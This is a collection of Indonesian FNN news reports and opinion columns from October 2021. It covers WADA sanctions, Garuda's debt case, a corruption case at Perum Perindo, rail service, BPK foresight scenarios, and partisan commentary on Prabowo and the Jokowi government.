Jakarta, FNN - Sekretaris Jenderal Komite Olimpiade Indonesia (KOI) Ferry J Kono mengatakan bahwa pihaknya mulai menemukan titik terang terkait sanksi yang dijatuhkan Badan Anti-Doping Dunia (WADA) terhadap Lembaga Anti-Doping Indonesia (LADI). Seusai menghadiri rapat virtual yang dipimpin Sekretaris Kementerian Pemuda dan Olahraga (Sesmenpora) Gatot S Dewa Broto, Kamis, Ferry yang masuk dalam Satgas Tim Percepatan Pelepasan Sanksi WADA mengatakan hasil pendalaman juga sementara ditemukan 24 pending matters yang perlu dipenuhi LADI, salah satunya menyangkut tunggakan biaya uji sampel doping ke laboratorium di Qatar. Tanggungan tersebut, lanjut Ferry, merupakan akumulasi dari kepengurusan LADI sebelumnya. "Detailnya tak dapat kami sebutkan, tetapi secara umum menyangkut hal administratif dan teknis. Kami mendorong LADI untuk menyelesaikan pending matters untuk mendapat status compliance (patuh) secepatnya,” kata Ferry dalam siaran pers KOI, Kamis. “Salah satu pending matters ada yang menyangkut tunggakan biaya ke laboratorium Qatar. Kenapa bisa ada tunggakan, kami pun masih mendalami. Tapi, situasi ini urgent sehingga pemerintah sepakat membayar dulu, sambil investigasi tetap berjalan dan LADI menyelesaikan hal-hal teknis yang perlu diselesaikan,” ujar dia menjelaskan. Indonesia saat ini belum memiliki laboratorium anti-doping yang memenuhi standar sehingga masih perlu mengirim sampel ke luar negeri, seperti Qatar. Ferry meminta masyarakat agar tidak mudah terpancing kabar yang belum dapat dipastikan kebenarannya. KOI dan Kemenpora saat ini terus bekerja menghimpun informasi akurat dan mempercepat komunikasi dan sinergi dengan stakeholder di dalam negeri. Selain memperkuat sinergi, satgas yang diketuai Raja Sapta Oktohari, ini juga sudah berada di Eropa untuk melakukan lobi. Salah satunya dengan Jerome Poivey, Ketua Hubungan Kelembagaan dan Pemerintahan Komite Olimpiade Internasional (IOC). Sebelumnya, pada awal Oktober, LADI mendapat teguran dari WADA karena tidak patuh dalam implementasi program uji doping yang efektif, yang membuat Indonesia terancam kehilangan hak-hak di olahraga internasional selama satu tahun ke depan. Selain dilarang mengibarkan bendera Merah Putih, Indonesia juga berpotensi tidak bisa menjadi tuan rumah regional, kontinental, hingga kejuaraan dunia atau ajang besar lainnya. Padahal Indonesia akan menjadi tuan rumah sejumlah ajang internasional dalam waktu dekat, seperti Superbike World Championships di Mandalika, Lombok (November), tiga turnamen bulu tangkis BWF di Bali (November-Desember), dan MotoGP pada Maret 2022. (sws, ant)

Garuda Indonesia Tanggapi Putusan PN Jakarta Pusat Soal PKPU

Jakarta, FNN - PT Garuda Indonesia (Persero) Tbk menanggapi Putusan Pengadilan Negeri Jakarta Pusat yang menolak gugatan perkara tuntutan Penundaan Kewajiban Pembayaran Utang (PKPU) yang diajukan oleh My Indo Airlines (MYIA) selaku kreditur. "Selanjutnya Garuda akan tetap berfokus pada upaya restrukturisasi kewajiban usaha dan operasinya, serta menjamin operasi penerbangan untuk angkutan penumpang dan kargo berjalan normal," demikian tertulis dalam rilis Garuda Indonesia yang dipantau di Jakarta, Kamis. Seperti diketahui, My Indo Airlines memasukkan gugatan ke PN Jakarta Pusat pada Jumat, 9 Juli 2021, dengan registrasi perkara Nomor: 289/Pdt.Sus/PKPU/2021/PN.Niaga.Jkt.Pst. MYIA mengajukan gugatan karena Garuda Indonesia menunggak pembayaran sejumlah kewajiban kepada perusahaan. My Indo mengajukan PKPU terhadap Garuda Indonesia atas klaim kurang dari 700.539 dolar AS yang terkait dengan kesepakatan kargo 2019. Dalam menghadapi permohonan PKPU ini, emiten berkode saham GIAA telah menunjuk kuasa hukum dari Kantor Advokat Assegaf Hamzah & Partners. Berdasarkan salinan berkas gugatan yang diperoleh permohonan PKPU tersebut diajukan oleh Direktur Utama My Indo Airlines Mohamed Yunos bin Mohamed Ishak dan Direktur My Indo Airlines M. Ridwan. Hubungan bisnis My Indo dengan Garuda selaku Termohon awal mulanya terjalin berdasarkan Perjanjian Kerja Sama Penyediaan Kapasitas Kargo sejak Januari 2019. Pemohon selaku pemberi sewa, sedangkan Termohon sebagai penyewa atas satu unit pesawat Boeing B737-300 freighter. (ant, sws)

Pak Prabowo, Sudahlah!

By M Rizal Fadillah SEPERTI terbuai dengan hasil survei yang selalu memberi posisi papan atas, bahkan teratas, pada Prabowo Subianto untuk Calon Presiden 2024, maka bersemangat lah kader dan pendukung untuk mendorong Prabowo maju kembali sebagai kontestan Pilpres 2024. Kesannya tinggal mencari pasangan. Puan Maharani calon kuat dengan bermodal hitung-hitungan suara partai. Lupa bahwa survey di Indonesia adalah mainan yang mudah distel dan diatur-atur. Survey bebas tanpa uji validitas ataupun uji kelembagaan. Sanksi atas keabal-abalannya pun tidak ada. Bebas-bebas saja. Figur dapat disimpan di nomor satu, tiga, atau berapapun tergantung pesanan dan biaya. Oleh karenanya pernah diusulkan betapa perlu dan mendesaknya keberadaan Undang-Undang yang mengatur keberadaan lembaga survey beserta sanksi-sanksinya. Penjudi politik mengangkat Prabowo dan Ganjar. Litbang Kompas membuat angka sama 13,9% untuk keduanya. Anies yang sangat potensial ditempatkan selalu diposisi ketiga. Tentu agar publik kehilangan keyakinan dan diharapkan pilihan bergeser ke Prabowo dan Ganjar. Prabowo berfungsi sebagai pancingan sementara Ganjar sebagai orbitan atau karbitan. Jokowi sedang mengukur jalan, siapa yang bisa memperpanjang nyawa. Ia khawatir saat turun diterkam macan. Prabowo bukan ahli strategi tetapi profil pecundang dan mudah menyerah dalam ketidakberdayaan. Tak ada teriakan terhadap penganiayaan dan pembunuhan. Pembantaian pun dibiarkan. Prabowo itu tipe pengekor yang loyal bukan pemimpin yang berani untuk mengambil risiko. Apalagi berkorban dan berjiwa pahlawan. Prabowo yang digadang-gadang akan berpasangan dengan Puan adalah pasangan nina nobo. Puan yang didukung PDIP akan menyalip. Apalagi jika diujung akhirnya Megawati menyerah kepada Jokowi dimana PDIP terpaksa dukung celeng ketimbang banteng. Ganjar yang dijagokan. Prabowo akan berakhir tragis ditinggalkan dan ditenggelamkan. Andaipun Prabowo bertahan berpasangan dengan Puan, maka Anies yang mendapat dukungan PKS, Nasdem, Golkar atau Demokrat adalah lawan berat. Pendukung Prabowo dahulu akan menjadi pendukung habis Anies. Ganjar pun sulit untuk menghadapinya. Prabowo tetap akan kalah telak. Ini bukan Pilpres 2019. Taruhlah ternyata dengan segala cara akhirnya Prabowo menang dan menjadi Presiden, maka itu bukan juga solusi bagi bangsa. Kepercayaan rakyat pada kemampuan Prabowo memimpin negara rendah. Berbeda dengan anggapan saat Pilpres sebelumnya, kini sudah dirasakan bahwa Prabowo bukan pemimpin yang bagus. Prabowo hampir sama dengan Jokowi tipe yang mudah ingkar janji. Timbul tenggelam bersama rakyat tidak dipenuhi, janji menjemput HRS diingkari, sikap kritis kepada Cina pun cepat berubah menjadi puja puji. Prabowo yang bersaksi atas kehebatan Jokowi sangat mengejutkan dan memilukan. Menjadi Menhan seperti menikmati jabatan bukan arena perjuangan menjalankan amanat menegakkan kedaulatan. Jadi dua hal untuk Prabowo, pertama menjadi Presiden saja di usia yang semakin sepuh sudah sangat berat. Dukungan tidak sekuat kemarin. Kedua, andai dengan sudah payah ternyata mampu menjadi Presiden, Prabowo bukan tipe pemimpin bangsa dan negara yang baik. Seribu kelemahan akan menjadikan Prabowo sasaran dari bulan-bulanan kritik. Sebagaimana Jokowi, Prabowo dikhawatirkan akan mengakhiri karir dengan "su'ul khotimah". Nah, Pak Prabowo, sudahlah ! *) Pemerhati Politik dan Kebangsaan

Kejagung Tetapkan 3 Tersangka Korupsi Perindo

Jakarta, FNN - Tim Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung RI menetapkan tiga tersangka kasus dugaan tindak pidana korupsi di Perum Perikanan Indonesia (Perindo) tahun 2016-2019. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung RI Leonard Eben Ezer Simanjuntak di Jakarta, Kamis, mengatakan tiga tersangka yang telah ditetapkan tersebut masing-masing berinisial NMB, LS dan WP. Menurut Leonard, penetapan tersangka ini dilakukan setelah jaksa penyidik memeriksa tujuh orang saksi. Namun hanya dihadiri oleh empat saksi, dan tiga di antaranya ditetapkan tersangka. "Untuk mempercepat proses penyidikan, selanjutnya terhadap tiga tersangka dilakukan penahanan," ujar Leonard. Adapun ketiga tersangka yakni NMB selaku Direktur PT Prima Pangan Madani, LS selaku Direktur PT Kemilau Bintang Timur dan WP selaku karyawan BUMN/mantan Vice President Perdagangan, Penangkapan dan Pengelolaan Perum Perindo. "Tersangka NMB dan LS dilakukan penahanan selama 20 hari di Rutan Salemba cabang Kejaksaan Negeri Jakarta Selatan, sedangkan tersangka WP ditahan di Rutan Salemba cabang Kejaksaan Agung," ujar Leonard. Adapun kasus dugaan korupsi di perusahaan BUMN tersebut berawal ketika Direktur Utama Perindo dijabat oleh SJ, Perum Perindo menerbitkan Surat Utang Jangka Menengah atau Medium Term Notes (MTN) dan mendapatkan dana sebesar Rp 200 miliar pada tahun 2017. Adapun kasus dugaan korupsi di perusahaan BUMN tersebut berawal ketika Direktur Utama Perindo dijabat oleh SJ, Perum Perindo menerbitkan Surat Utang Jangka Menengah atau Medium Term Notes (MTN) dan mendapatkan dana sebesar Rp 200 miliar pada tahun 2017. Dana tersebut terdiri dari Sertifikat Jumbo MTN Perum Perindo Tahun 2017 – Seri A dan Sertifikat Jumbo MTN Perum Perindo Tahun 2017 – Seri B. "Adapun tujuan MTN tersebut digunakan untuk pembiayaan di bidang perikanan tangkap. Namun, faktanya penggunaan dana MTN Seri A dan seri B tidak digunakan sesuai dengan peruntukkan sebagaimana prospek atau tujuan penerbitan MTN seri A dan seri B," ujar Leonard. MTN seri A dan seri B itu kata Leonard, sebagian besar digunakan untuk bisnis perdagangan ikan yang dikelola oleh Divisi Penangkapan, Perdagangan dan Pengolahan Ikan atau Strategy Bussines Unit (SBU) Fish Trade and Processing (FTP) yang dipimpin oleh WP. Pada Desember 2017, Direktur Utama Perindo berganti kepada RS yang mana pada periode sebelumnya RS merupakan Direktur Operasional Perum Perindo. Kemudian RS mengadakan rapat dan pertemuan dengan Divisi Penangkapan, Perdagangan dan Pengolahan (P3) Ikan atau Strategy Bussines Unit (SBU) Fish Trade and Processing (FTP) yang diikuti juga oleh IP sebagai Advisor Divisi P3 untuk membahas pengembangan bisnis Perum Perindo menggunakan dana MTN seri A dan seri B, kredit Bank BTN Syariah dan kredit Bank BNI. Selanjutnya ada beberapa perusahaan dan perseorangan yang direkomendasikan oleh IP kepada Perindo untuk dijalankan kerja sama perdagangan ikan yaitu PT Global Prima Santosa (GPS), PT Kemilau Bintang Timur (KBT), S/TK dan RP. Selain beberapa pihak yang dibawa oleh IP juga terdapat beberapa pihak lain yang kemudian menjalin kerja sama dengan Perindo untuk bisnis perdagangan ikan antara lain PT Etmico Makmur Abadi, PT SIG Asia, Dewa Putu Djunaedi, CV Ken Jaya Perkara, CV Tuna Kieraha Utama, Law Aguan, Pramudji Candra, PT Prima Pangan Madani, PT Lestari Sukses Makmur, PT Tri Dharma Perkasa. "Metode yang digunakan dalam bisnis perdagangan ikan tersebut adalah metode jual beli ikan putus," kata Leonard. Ia mengatakan dalam penunjukan mitra bisnis perdagangan ikan tersebut di atas, Perindo melalui Divisi P3/SBU FTP tidak ada melakukan analisa usaha, rencana keuangan dan proyeksi pengembangan usaha. Selain dari itu, dalam melaksanakan bisnis perdagangan ikan tersebut beberapa pihak tidak dibuatkan perjanjian kerja sama, tidak ada berita acara serah terima barang, tidak ada laporan jual beli ikan dan tidak ada dari pihak Perindo yang ditempatkan dalam penyerahan ikan dari "supplier" kepada mitra bisnis Perum Perindo. Akibat penyimpangan dalam metode penunjukan mitra bisnis perdagangan ikan oleh Perum Perindo, lanjut Leonard, menimbulkan verifikasi syarat pencairan dana bisnis yang tidak benar dan menimbulkan transaksi-transaksi fiktif yang dilakukan oleh mitra bisnis perdagangan ikan Perum Perindo. Kemudian transaksi-transaksi fiktif tersebut menjadi tunggakan pembayaran mitra bisnis perdagangan ikan kepada Perum Perindo kurang lebih sebesar Rp.149 miliar. Atas perbuatannya, ketiga tersangka dikenakan Pasal 2 ayat (1) Jo. Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. Juga disubsiderkan Pasal 3 Jo. Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. (ant, sws)

KAI Operasikan Kembali KA Sribilah Rute Medan-Rantauprapat

Medan, FNN - PT Kereta Api Indonesia (Persero) Divisi Regional I Sumatera Utara mengoperasikan kembali Kereta Api Sribilah rute Medan-Rantauprapat untuk memenuhi permintaan masyarakat. "KA Sribilah sudah dioperasikan kembali sejak Oktober ini karena banyak permintaan dari calon penumpang," ujar Manager Humas PT KAI Divre I Sumut Mahendro Trang Bawono di Medan, Sumut, Kamis. Sribilah yang dioperasikan itu berangkat dari Medan pukul 15.00 WIB dan dari Rantauprapat pukul 07.45 WIB. KA yang dari Medan beroperasi pada Kamis, Jumat, Sabtu, Minggu, sedangkan dari Rantauprapat, pada Jumat, Sabtu, Minggu, dan Senin. "Dioperasikannya KA Sribilah diharapkan bukan saja memenuhi kebutuhan masyarakat untuk di rute tersebut, tetapi juga diharapkan dapat menggerakkan roda perekonomian wilayah," katanya. Untuk persyaratan di tengah pandemi COVID-19, manajemen juga mewajibkan calon penumpang KA Sribilah menunjukkan hasil negatif dari pemeriksaan layanan uji cepat antigen. Mahendro menjelaskan pelanggan yang ingin melakukan pemeriksaan antigen di stasiun kereta api diharuskan memiliki tiket atau kode pesanan KA yang sudah lunas. KAI, ujar dia, mulai 24 September sudah menurunkan tarif layanan uji cepat antigen menjadi Rp45.000 dari sebelumnya Rp85.000 sebagai bentuk peningkatan pelayanan kepada pelanggan. PT KAI Divre I Sumut terus berupaya memberikan pelayanan terbaik kepada pelanggan dengan turut melakukan penyesuaian tarif uji cepat antigen agar pelanggan merasa lebih mudah dan nyaman. Dengan harga yang semakin terjangkau, pelanggan KA lebih leluasa bepergian dengan menggunakan jasa layanan kereta api. "Dengan dioperasikannya KA Sribilah, maka sudah 32 KA yang beroperasi di Sumut di tengah pandemi COVID-19 ini," ujar Mahendro. (mth)

BPK Ingatkan Skenario Terburuk Usai Pandemi COVID-19

Jakarta, FNN - Badan Pemeriksa Keuangan (BPK) menyampaikan empat skenario yang dapat terjadi dalam lima tahun ke depan (2021-2026) setelah pandemi COVID-19 berakhir, dalam buku Pendapat Strategic Foresight. "Skenario yang disajikan dalam foresight BPK bukanlah prediksi tentang masa depan, tetapi sarana untuk melihat kembali berbagai asumsi tentang masa depan, agar kita tidak terlena dengan harapan dan agar kita mampu melihat lebih jernih kesiapan menghadapi masa depan," kata Ketua BPK Agung Firman Sampurna dalam peluncuran buku tersebut di Jakarta, Kamis (21/10/2021). Ia memaparkan empat skenario itu mencakup skenario berlayar menaklukkan samudera dengan respons pemerintah terhadap krisis menjadi lebih efektif dan tingkat keparahan pandemi mereda. Skenario selanjutnya adalah mengarung di tengah badai, dengan respons pemerintah terhadap krisis menjadi lebih efektif di tengah pandemi yang makin memburuk. Kemudian, skenario tercerai-berai terhempas lautan, yang merupakan skenario terburuk karena menggambarkan masa depan yang penuh risiko dan bahaya. Dalam skenario ini, respons pemerintah terhadap krisis kurang efektif dan tingkat keparahan pandemi makin memburuk. Skenario terakhir adalah skenario kandas telantar surutnya pantai, yang ditandai dengan meredanya pandemi, namun respons pemerintah terhadap krisis kurang efektif. Dalam seluruh skenario ini, terdapat lima tema yang menurut BPK perlu diantisipasi pemerintah seperti reformasi kesehatan, reformasi pajak dan kesinambungan fiskal, visi dan kepemimpinan pemerintah, transformasi digital dan tata kelola data, serta kualitas sumber daya manusia. "Tema-tema tersebut perlu mendapat perhatian pemerintah karena akan turut menentukan keberhasilan Indonesia dalam menghadapi pandemi COVID-19 maupun kemungkinan terjadi pandemi, bencana, dan krisis global di kemudian hari," kata Agung. Penyusunan foresight BPK ini dilakukan dengan menggunakan metode scenario planning dan data yang bersumber dari hasil pemeriksaan BPK, tren dalam negeri, regional, dan global. Kebijakan ini kemudian dirumuskan dalam buku, mengingat dalam melakukan tugas pemeriksaan, BPK memiliki tiga peran yaitu oversight, insight dan foresight. Peran oversight dan insight diwujudkan dalam tugas pemeriksaan keuangan, pemeriksaan kinerja dan pemeriksaan dengan tujuan tertentu, serta pemberian pendapat kepada pemerintah. Selanjutnya, peran foresight dilakukan untuk membantu masyarakat dan pengambil keputusan dalam memilih alternatif kebijakan masa depan. Penyusunan foresight ini membuat BPK menjadi Supreme Audit Institution ke-2 di Asia setelah Korea Selatan dan yang pertama di Asia Tenggara, yang memiliki kemampuan foresight. BPK mengharapkan buku foresight yang telah disampaikan kepada Presiden Joko Widodo ini dapat menginspirasi pemerintah pusat dan daerah untuk memulai menerapkan strategic foresight untuk mengantisipasi ketidakpastian di masa depan. (ant, sws)

Tujuh Tahun Jokowi, Kemiskinan dan Ketidakadilan Ekonomi Makin Memprihatinkan

Jakarta, FNN – Mantan Panglima TNI Jenderal TNI (Purn.) Gatot Nurmantyo merasakan keprihatinan yang mendalam menyikapi perjalanan bangsa tujuh tahun terakhir. “Hari ini saya ingin mengatakan bahwa di negeri yang kita cintai ini ada kemiskinan dan ketidakadilan sekonomi. Kehidupan sosial dan ekonomi bangsa Indonesia semakin hari semakin memprihatinkan. Jauh dari harapan mayoritas bangsa Indonesia,” kata Gatot dalam diskusi bertajuk “Tujuh Tahun Pemerintahan Jokowi: Ekonomi Meroket atau Nyungsep” Rabu, 20 Oktober 2021 di Jakarta. Diskusi yang digagas KAMI (Koalisi Aksi Menyelamatkan Indonesia) bekerja sama dengan Forum News Network ini menghadirkan pembicara Faisal Basri (Pengamat Ekonomi), Anthony Budiawan (Direktur Political Ekonomy & Policy Studies), Awalil Rizki (Chief Economist Institute Harkat Negeri), Rusli Abdullah (Penelitik Indef), dan Hersubeno Arief sebagai moderator. Gatot dalam keynote speaker-nya menegaskan, saat ini ada sebagian kecil masyarakat Indonesia bisa menjadi sangat kaya raya. Ironisnya sebagian besar masyarakat masih hidup dalam kemiskinan. Sangat kontras sekali! Artinya, terjadi ketidakadilan dalam pembangunan ekonomi di Indonesia. Hal ini juga tercermin di dalam angka statistik. Jumlah rakyat miskin Indonesia menurut data dari Badan Pusat Statistik (BPS) Indonesia pada Maret 2021 mencapai 27,54 juta penduduk. Setara dengan 10,14% dari jumlah populasi. Jumlah penduduk miskin pada Maret 2021 ini naik 1,12 juta jiwa dibandingkan Maret 2020. Karena dampak pandemi Covid-19? Di satu sisi, memang benar pandemi dapat menurunkan pendapatan masyarakat akibat PHK atau kegiatan ekonomi rakyat terhenti akibat Pembatasan Sosial, sehingga membuat angka kemiskinan meningkat. Tetapi di lain sisi, hal ini juga bisa menunjukkan bahwa kebijakan stimulus pandemi fiskal telah gagal menahan angka kemiskinan nasional. Kegagalan kebijakan ini dapat dilihat dari jumlah penduduk kaya dan super kaya Indonesia justru meningkat selama Pandemi. Menurut data dari lembaga keuangan Credit Suisse, jumlah penduduk Indonesia dengan kekayaan bersih 1 juta dolar AS atau lebih mencapai 171.740 orang pada tahun 2020. Angka tersebut naik sekitar 62% dibandingkan tahun 2019 yang berjumlah 106.215 orang. Sedangkan jumlah orang Super Kaya Indonesia dengan kekayaan lebih dari 100 juta dolar AS, atau lebih dari Rp1,4 triliun, mencapai 417 orang pada 2020, atau naik 22,29% dari tahun 2019. Tentu saja kondisi di atas sangat kontras dan ironis, dan menunjukkan kebijakan stimulus pandemi fiskal gagal berpihak kepada masyarakat umum dan penduduk miskin, tetapi lebih memanjakan orang kaya dan super kaya. Apakah Indonesia Lebih Miskin dari Negara Tetangga? Data kemiskinan di atas berdasarkan data dari BPS. Garis kemiskinan menurut BPS sangat rendah yaitu pendapatan di bawah Rp.472.525/orang per bulan, atau sekitar Rp.15.750 per hari. Pendapatan tersebut harus bisa memenuhi biaya kebutuhan hidup, pangan maupun non-pangan seperti pakaian, tempat tinggal, sekolah, kesehatan, transportasi, dan lainnya. Hampir dapat dipastikan pendapatan Rp15.750/harI/orang menurut garis kemiskinan BPS tersebut sangat rendah dan sulit dapat memenuhi biaya hidup minimum. Kalau kita mau bandingkan tingkat kemiskinan antar negara maka kita harus menggunakan data dari Bank Dunia. Untuk negara berpendapatan menengah seperti Indonesia, Bank Dunia menetapkan dua garis kemiskinan internasional yaitu 3,2 dolar AS dan 5,5 dolar AS per orang per hari (dengan menggunakan kurs daya beli paritas konstan atau Purchasing Power Parity tahun 2011). Sedangkan menurut kriteria kemiskinan internasional dengan pendapatan di bawah 5,5 dolar AS/orang/hari (Purchasing Power Parity tahun 2011), jumlah penduduk miskin Indonesia pada 2018 mencapai 53,2% dari populasi, atau 142,42 juta penduduk. Sedangkan Vietnam dan Thailand masing-masing 22,4% dan 8,4% dari populasi, atau masing-masing hanya 21,4 juta dan 5,83 juta penduduk. Dengan demikian, sangat ironis dan menyedihkan bahwa Indonesia yang merupakan negara terbesar di Asia Tenggara, dengan kekayaan sumber daya alam yang berlimpah, tetapi tingkat kesejahteraan rakyatnya jauh di bawah beberapa negara tetangga: Singapore, Brunei, Malaysia, Thailand, Vietnam dan Philipina. Kemiskinan rakyat Indonesia sesungguhnya bukanlah kemiskinan yang alamiah! Sebabnya adalah Penguasaan Ekonomi oleh Sekelompok Kecil Masyarakat Kekayaan sumber daya alam tidak digunakan untuk sebesar-besarnya kemakmuran rakyat Indonesia seperti dimaksud dalam Undang-Undang Dasar Negara pasal 33. Tetapi, pemberdayaan ekonomi dan kekayaan sumber daya alam dikuasai oleh sekelompok kecil masyarakat dengan penguasaan luas lahan perkebunan dan pertambangan yang sangat besar Sedangkan masyarakat daerah sebagai pemilik sumber daya alam tersebut hanya menjadi buruh perkebunan dan pertambangan yang mayoritas hanya mendapat upah harian berdasarkan upah minimum. Padahal jumlah lahan perkebunan sawit bertambah pesat, yaitu dari 3,9 juta ha pada 1999 menjadi 14,7 juta ha pada 2019. Atau bertambah 10,8 juta ha dalam waktu 20 tahun, di mana perusahaan swasta besar menguasai sekitar 55%. Total ekspor minyak kepala sawit sejak 1999-2019 mencapai 209 miliar dolar AS. Hasil komoditas sawit ini seharusnya memberi manfaat ekonomi sangat besar kepada rakyat di daerah, tetapi ironisnya hanya dinikmati oleh sekelompok kecil pengusaha sawit besar sehingga mengakibatkan kemiskinan di daerah dan ketimpangan sosial sangat tajam. Jumlah produksi komoditas batubara lebih spektakuler lagi. Produksi batubara melonjak 10x lipat dalam 20 tahun dari 62,1 juta ton (1999) menjadi 616,2 juta ton (2019). Sedangkan total eskpor batu bara mencapai 245,3 miliar dolar AS dalam waktu 20 tahun (2000-2019). Seharusnya hasil SDA ini dapat dinikmati oleh rakyat Indonesia, sehingga kehidupan akyat menjadi lebih sejahtera. Tetapi sekali lagi, ironisnya, manfaat ekonomi dari kekayaan SDA ini lebih banyak dinikmati oleh segelintir pengusaha tambang. Di lain pihak, meski produksi SDA dari sawit dan batubara meningkat tajam, justru rasio penerimaan negara dari pajak terhadap PDB terus turun sampai di bawah 10% pada 2019, dan hanya 8,3% pada 2020. Rasio pajak terhadap PDB ini merupakan salah satu yang terendah di ASEAN. Konsekuensinya utang negara semakin besar, dan rasio beban bunga utang terhadap PDB sudah mencapai 1,7% pada 2019 dan 2% pada 2020. Kondisi keuangan negara yang seperti ini, terus memburuk dan semakin mengkhawatirkan, pada akhirnya rakyat yang harus menanggung beban keuangan negara. Antara lain melalui pungutan pajak. DPR belum lama ini menyetujui kenaikan tarif pajak pertambahan nilai (PPN) dari 10% menjadi 11% yang akan berlaku efektif pada 1 April mendatang (2022), dan kemudian akan naik lagi menjadi 12% paling lambat pada 1 Januari 2025. Bagaimanapun juga kenaikan PPN akan menambah beban ekonomi masyarakat. Selain itu, pemerintah juga memperluas barang kena pajak termasuk sembako, jasa pendidikan tertentu, jasa kesehatan tertentu, serta pajak karbon. Semua ini tentu saja menambah beban biaya hidup masyarakat serta mengurangi daya beli, sehingga dikhawatirkan akan menambah angka kemiskinan. Di lain sisi, UU perpajakan yang baru tersebut, yang dinamakan UU HPP (Harmonisasi Peraturan Perpajakan), kembali memberi pengampunan pajak yang kini dinamakan Program Pengungkapan (harta bersih secara) sukarela. Dengan kondisi ketimpangan ekonomi, di mana masih cukup besar jumlah orang miskin di Indonesia, maka dapat dikatakan bahwa program pengampunan pajak tersebut untuk memfasilitasi kelompok masyarakat mampu dengan hanya membayar tarif pajak sebesar 6% atau 8% dari harta bersih yang akan dilaporkannya, yang mana selama ini harta tersebut baik yang ada di dalam negeri atau di luar negeri tidak pernah dilaporkan kepada negara. UU dalam bidang perpajakan yang terbaru ini tentu saja menimbulkan rasa ketidakadilan ekonomi melalui perpajakan. Kenaikan tarif PPN di satu sisi memberatkan masyarakat golongan bawah terutama di tengah kondisi ekonomi yang masih sulit akibat pandemi. Sedangkan di lain sisi masyarakat golongan atas diberikan berbagai fasilitas keringanan pajak. Mengapa ketidakadilan ekonomi bisa terjadi? Dan dibiarkan berlarut-larut. Karena biaya politik yang semakin tinggi di era Digital-Politics mempererat hubungan timbal-balik antara kekuasaan politik dan kekuasaan uang. “Politik perlu uang & Uang membeli kekuasaan. Kekuasaan mengakumulasikan uang & dengan Uang mempertahankan kekusaan.” Lalu siapa yang memikirkan rakyat? Sumbernya ada di Politik, sedangkan Ekonomi itu akibatnya saja. Dengan kata lain, produk-produk regulasi yang dikendalikan para elit politik hanya menciptakan segelintir orang kaya yang ingin terus menerus mengakumulasikan kekayaannya. Akibatnya penumpukan kekayaan ada di elit, baik itu elit politik maupun elit pengusaha. Bisa di-cek dari kepemilikan uang di bank, berapa persen yang dimiliki oleh para elit. Belum lagi kekayaan para elit yang disimpan di luar negeri. Seharusnya pemerintah dan DPR yang menguasai kunci untuk akses politik dapat lebih menunjukkan keberpihakan kepada masyarakatgolongan bawah dan menengah dalam membuat kebijakan dan UU dalam bidang ekonomi termasuk regulasi perpajakan, pertanian, kehutanan, dan SDA. Negeri ini diproklamasikan bukan untuk memanjakan segelintir orang kaya, tetapi untuk seluruh bangsa Indonesia agar dapat merubah kehidupannya lebih baik setelah lama mengalami penderitaan penjajahan. Sebelum mengakhiri, saya ingin mengingatkan lagi bahwa melawan ketidakadilan ekonomi merupakan amanat Reformasi 98 yang menyuarakan anti-KKN (Korupsi, Kolusi, Nepotisme). Ketidakadilan ekonomi bukan saja akan menciptakan kemiskinan struktural, tetapi juga kesenjangan sosial di masyarakat dan ancaman dis-integrasi daerah-daerah. Saya juga ingin mengingatkan lagi jangan meremehkan bahaya dari utang-utang negara saat ini. Beban cicilan utang negara yang membengkak dapat membuat rakyat lebih miskin, karena seharusnya cicilan utang dapat digunakan untuk mensubsidi kehidupan rakyat seperti air, listrik, pangan, pendidikan, kesehatan, jalan tol dll. Sedangkan penggunaan utang tersebut, tidak banyak membantu meringankan kehidupan rakyat sehari-hari. Utang negara yang dilandasi nafsu rakus dan serakah, yaitu utang yang hanya menciptakan segelintir orang kaya, tetapi secara konstitusional menjadi beban seluruh rakyat Indonesia, bahkan sampai beberapa generasi mendatang. Ini yang saya sebut sebagai Ranjau Utang. Hari ini ranjaunya tidak terlihat, tetapi besok-besok dapat meledak kapan saja, dan memakan banyak korban. Sementara yang menikmati utang itu, entah sudah pergi di mana. Penutup Sebagai penutup, semoga diskusi ini dapat mengupas lebih dalam kondisi ekonomi dan keuangan negara hari ini dari berbagai sektor sehingga mencerahkan kita semua tentang apa yang sedang terjadi di negeri ini, sehingga mengingatkan kita apa yang akan terjadi jika kondisi ini dibiarkan terus karena kita tidak melakukan sesuatu apapun. (sws)

Setiap Pemimpin Diukur dari Janjinya

Oleh Tony Rosyid PEMILU jadi ajang kompetisi. Siapa yang ingin jadi pemimpin, disitu ia sampaikan visi dan misi. Ini sangat elitis, karena rakyat umum seringkali gak paham apa itu visi dan misi. Tapi intinya, kalau terpilih nanti apa saja yang akan dilakukan. Inilah janji politik. Sampai di sini, rakyat paham. Janji politik mesti terukur. Supaya mudah dan terus diingat oleh rakyat: pertama, berapa jumlah janji politiknya. Kedua, apa saja rinciannya. Dua hal ini cukup untuk menilai dan mengukur tingkat keberhasilan pemimpin itu. Dari janji itu akan terlihat calon pemimpin tersebut luar biasa atau biasa saja. Program yang dijanjikan itu baru dan berbeda, atau klasik. Programnya akan jadi solusi, atau hanya aksesori. Setelah pemimpin itu terpilih, rakyat harus terus kawal janji itu. Ditunajkan, atau diabaikan. Ini soal integritas. Pemimpin yang tidak menunaikan janji, ia cacat integritas. Gak layak dipilih kedua kali. Baik untuk posisi yang sama, apalagi posisi di atasnya. Tunaikan janji, selain integritas, ini juga berkaitan dengan kapasitas. Kalau janji-janji itu gak ditunaikan, tidak saja pemimpin itu cacat integritas, tapi juga menunjukkan bahwa ia tak memiliki kemampuan. Bagi pemimpin, janji politik bukan segalanya. Artinya, seorang pemimpin tidak dibatasi kerjanya dengan apa yang telah ia janjikan kepada rakyat. Sebab, ada dinamika yang menuntut kemampuan pemimpin untuk berinovasi dan membuat terobosan-terobosan baru melampaui janji-janji itu. Meski bukan segalanya, tapi setidaknya, janji politik bisa menjadi road map. Janji politik itu acuan seorang pemimpin bekerja. Ini 